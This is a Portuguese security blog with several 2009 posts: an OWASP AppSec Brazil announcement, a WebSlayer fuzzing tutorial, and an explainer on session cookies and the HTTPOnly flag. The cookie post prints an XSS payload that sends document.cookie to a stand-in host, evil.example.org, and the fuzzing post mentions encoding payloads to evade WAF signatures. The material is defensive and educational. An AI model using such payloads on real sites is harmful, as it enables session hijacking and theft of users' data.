30 de abril de 2009

OWASP AppSec Brazil 2009 - Brasília, 27-30 de outubro de 2009

Após a perseverança do Eduardo Neves, e o excelente trabalho do Lucas Ferreira, conseguimos aprovar o Primeiro OWASP AppSec Brazil. A conferência será realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do Capítulo OWASP Brasil que está tentando trazer o evento para o nosso país desde novembro de 2008 e finalmente conseguiu discutir o assunto com todos os envolvidos e conseguir a aprovação necessária para isso.

A Conferência será promovida pelo OWASP Brasil com o suporte da Comunidade TI-Controle para tratar os diferentes assuntos relacionados a Segurança de Aplicações, tais como:

  • Desenvolvimento seguro

  • Segurança e arquitetura de software

  • Processos de desenvolvimento de sistemas seguros

  • Ferramentas para análise de segurança de aplicações

  • Bibliotecas e frameworks de segurança para aplicações web

  • Auditoria e testes de segurança em aplicações

  • Metodologias gerenciais para melhoria da segurança no desenvolvimento de software

  • Análise de ataques a aplicações

  • Avaliação de riscos de negócio em aplicações web

  • Segurança de web services


A Conferência terá dois dias de treinamentos (27 e 28 de outubro) seguidos de dois dias de palestras (29 e 30 de outubro). As chamadas de trabalho serão divulgadas neste fim de semana. A página com as informações relacionadas está disponível na Wiki da OWASP.

22 de abril de 2009

Encontrando vulnerabilidades em aplicações web com teste fuzzy

Fuzzing é uma técnica largamente utilizada hoje em dia, para identificar vulnerabilidades em aplicações. A técnica consiste basicamente de submeter pacotes/dados de todos os tipos e identificar como a aplicação se comporta com estes dados. Para mostrar um teste fuzzy na prática, vou usar a ferramenta WebSlayer.

Usando o WebSlayer para fuzzing em aplicações Web

WebSlayer é uma ferramenta desenvolvida pelo grupo Edge-security, é apoiada pela OWASP e foi lançado no último Summit em Portugal. A ferramenta possibilita que seja realizado inúmeros testes em aplicações web, especialmente fuzzing.

Possui uma boa interface gráfica, aliada a uma boa base de conhecimento (wordlists). A ferramenta fornece apenas wordlists, não fornece pacotes, requisições HTTP que possam ser usadas no fuzzing, a ferramenta permite que você gere o payload da forma como achar melhor.

Vamos usar uma abordagem estruturada de fuzzing para explorar os recursos do WebSlayer

1 - Identificar o Alvo

Vamos iniciar definindo qual a URL será testada.



2 - Identificar o Input

Agora vamos identificar o input onde será injetados os dados da wordlist. Caso seja parâmetros GET, ele será informado na própria URL, se for POST será informado na caixa de texto abaixo, específica para parâmetros POST. o WebSlayer irá injetar as palavras/strings, onde você inserir a tag FUZZ. Por exemplo, http://sitealvo.com/teste.php?parametro1=FUZZ. O WebSlayer irá injetar as strings das wordlists no parâmetro onde eu informei a tag FUZZ.





3 - Gerar o payload (dado que será usado no fuzzing)

Neste passo iremos selecionar o tipo de wordlist que iremos injetar. Também é possível gerar requisições/payloads específicos, mas vamos trabalhar com as wordlists neste post. Além de escolher a wordlist, também podemos mandar injetar estas informações codificadas, buscando evadir assinaturas de WAF (Web Application Firewall) e controles na aplicação.



4 - Executar o Fuzzing

Definido quais os dados serão usados no fuzzing, clique em executar os testes.

5 - Monitorar as Exceções

Ao executar o fuzzing, será apresentado na seção Attack Results, todas as respostas que foram dadas pela aplicação a cada requisição que o fuzzing fez.



6 - Identificar possíveis pontos de exploração

Na seção Attacks Results você irá identificar qual os inputs são possíveis vetores de ataque, quais são os inputs vulneráveis. Esta identificação será feita de acordo com a resposta e a utilização de Regex (Expressões regulares).




Isso é uma utilização básica do WebSlayer, vários outros testes podem ser executados. Até o momento só a versão Windows está disponível, em breve as versões para Mac e Linux estarão disponíveis.

21 de abril de 2009

Segurança de Cookies de sessão e HTTPOnly

Cookie é um dos recursos usados para garantir estados em aplicações web. O protocolo HTTP é stateless, como podemos ver no post sobre HTTP. Esta característica nos primórdios não trazia nenhum problema, as páginas eram estáticas. Com o passar do tempo, as aplicações começaram a ficar mais complexas e passou a ser inevitável manter estados. Para fazer isso, utilizamos o recurso de sessão/cookie. Este recurso é a "memória" da aplicação web, ela irá consultar a sessão para lembrar de informações que são necessárias entre as requisições HTTP.

O que acontece se eu não tomar cuidado com a sessão?


Problemas sérios! Furto de dados, sequestro de sessão, problemas com autenticação, entre outras coisas que podem ser vistas na página sobre gestão de sessão da OWASP.

Como mitigar (diminuir) os riscos associados a cookies de sessão?


Além de implementar adequadamente a gestão de sessão, um excelente e simples controle para mitigar riscos relacionados a sequestro de sessão (session hijack), é evitar que cookies sejam consultados por javascript. Esta técnica é facilmente implementada, apenas inserindo uma flag httponly nos cookies.

Exemplo de cookie com a flag HTTPOnly
Set-Cookie: pmaCookieVer=4; expires=Thu, 21-May-2009 16:07:33 GMT; path=/phpmyadmin/; httponly


Como o acesso a cookies via javascript pode expor sua aplicação a sequestro de sessão?

A maiorias dos ataques de sequestro de sessão são realizados roubando cookies de usuários usando falhas de XSS (Cross Site Scripting). Uma pessoa mal intencionada envia uma URL contendo uma chamada javascript que irá usar a função document.cookie para coletar o cookie da sessão e enviar para um site/local onde ele possa capturar este cookie. Com o cookie em mãos a pessoa mal intencionada faz o sequestro de sessão.

Um exemplo de requisição maliciosa que pode ser usada para roubar cookies que não estejam protegidos.
<script><br />document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie<br /></script><br />

Como testar minha aplicação para verificar se ela usa o recurso de HTTPOnly ou não?

Um exemplo simples, para validar se a sua aplicação usa o recurso de HTTPOnly ou não, é fazer a seguinte chamada na caixa de texto onde insere as URLs que deseja acessar no seu browser: javascript:alert(document.cookie); Se retornar uma mensagem de alerta com o valor do seu cookie de sessão, a aplicação não usa o recurso de HTTPOnly, portanto, pode ser explorada via ataques que usem recursos de javascript.

Como implementar HTTPOnly?

Alguns frameworks nas últimas versões, já vem com este recurso habilitado por default, como é o caso do Rails. Cada linguagem possui seu modo de implementar este recurso, alguns exemplos:

Alguns browsers também pode forçar o uso do HTTPOnly.

Existe algum tipo de "bypass" de HTTPOnly?

Sim, existe alguns métodos para burlar o HTTPOnly. Por exemplo, usando requisições XHR (XMLHttpRequest).

Estou voltando!

Este é o tipo de post que não ajuda em nada, mas preciso dar uma satisfação aos que me aturam neste blog.

Os últimos meses foram alucinantes, muito trabalho, um treinamento na uCon, que foi demais, e sobrou pouco tempo para escrever algo aqui. Cheguei ao cúmulo de esquecer de pagar o host e o domínio ficou suspenso por um dia. :(

Agora estou de volta, vou começar a agitar isso aqui novamente e espero que os leitores apreciem.